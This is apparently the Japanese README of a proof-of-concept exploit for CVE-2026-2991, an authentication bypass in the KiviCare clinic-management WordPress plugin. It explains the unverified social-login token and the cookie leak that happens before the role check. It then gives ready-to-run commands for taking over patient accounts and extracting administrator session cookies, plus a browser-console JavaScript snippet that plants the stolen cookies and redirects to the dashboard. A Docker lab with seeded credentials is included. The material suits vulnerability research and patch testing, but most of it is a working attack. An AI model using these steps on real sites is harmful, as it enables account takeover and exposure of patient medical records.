
CVE-2026-2991 の PoC エクスプロイト — KiviCare WordPress プラグイン (≤4.1.2) における認証バイパス。未認証の患者アカウント乗っ取りと管理者セッションの抽出を可能にします。
CVE-2026-2991 は、KiviCare – Clinic & Patient Management System(EHR) WordPressプラグインの認証バイパス脆弱性であり、4.1.2 までのすべてのバージョンに影響します。
このプラグインは、ソーシャルログインでユーザーを認証する公開RESTエンドポイント /wp-json/kivicare/v1/auth/patient/social-login を公開しています。patientSocialLogin() 関数はメールアドレスとアクセストークンを受け入れますが、トークンを主張されたソーシャルプロバイダーに対して検証することはありません。認証されていない攻撃者は、メールアドレスと任意の文字列をトークンとして指定するだけで、登録済みの任意の患者としてログインできます。
さらに、WordPressの認証クッキーは、患者ロールチェックが施行される前に発行されます。つまり、非患者アカウント(管理者を含む)の場合、レスポンスはHTTP 403を返しますが、有効な Set-Cookie ヘッダーが含まれます — リプレイ可能な管理者セッションが攻撃者に漏えいします。
影響を受けるバージョン: kivicare-clinic-management-system <= 4.1.2
git clone https://github.com/joshuavanderpoll/CVE-2026-2991.git
cd CVE-2026-2991
python3 -m venv .venv
source .venv/bin/activate
pip3 install -r requirements.txt
git clone https://github.com/joshuavanderpoll/CVE-2026-2991.git
cd CVE-2026-2991
python3 -m venv .venv
.venv\Scripts\activate
pip3 install -r requirements.txt
python3 CVE-2026-2991.py --url <TARGET_URL> --email <TARGET_EMAIL> [--login-type <google|apple>] [--timeout <SECONDS>] [--useragent <UA>]
登録済み患者の認証をバイパスします。スクリプトは、nonceとリプレイ可能なクッキーを含む完全なセッションを返します。
python3 CVE-2026-2991.py --url 'https://target.com' --email '[email protected]'

任意の非患者ユーザー(例: 管理者)のメールアドレスを指定します。エンドポイントはロールチェックの前に有効な認証クッキーを発行して403を返します — これらのクッキーが抽出されて表示されます。
python3 CVE-2026-2991.py --url http://localhost:8080/ --email '[email protected]'

実行が成功すると、スクリプトはJavaScriptスニペットを出力します。ブラウザで対象サイトを開き、スニペットをブラウザコンソール(F12 → Console)に貼り付けてEnterキーを押すと、盗んだクッキーを設定して自動的にダッシュボードへ移動します。
(() => {
document.cookie = "wordpress_<hash>=<value>; path=/";
document.cookie = "wordpress_logged_in_<hash>=<value>; path=/";
window.location.href = "http://target.com/kivicare-patient-dashboard";
})();
脆弱なプラグインがプリインストールされ、現実的なテストデータがシードされた自己完結型のDocker Compose環境です。 詳細は DOCKER.md を確認してください。
cd docker/
docker compose up
このラボは、初回起動時に次のアカウントをシードします。
# Bypass a patient
python3 CVE-2026-2991.py --url 'http://localhost:8080' --email '[email protected]'
# Leak admin session cookies
python3 CVE-2026-2991.py --url 'http://localhost:8080' --email '[email protected]'
このツールは教育および研究目的でのみ提供されます。作成者は、このツールの誤用または損害について一切の責任を負いません。
| 役割 | ユーザー名 | メール | パスワード |
|---|
| Admin | admin | [email protected] | admin |
| Doctor | dr.harris | [email protected] | Doctor@123 |
| Doctor | dr.chen | [email protected] | Doctor@123 |
| Doctor | dr.okonkwo | [email protected] | Doctor@123 |
| Patient | james.ford | [email protected] | Patient@123 |
| Patient | sofia.reyes | [email protected] | Patient@123 |
| Patient | oliver.knight | [email protected] | Patient@123 |
| Patient | amara.diallo | [email protected] | Patient@123 |
| Patient | dan.walsh | [email protected] | Patient@123 |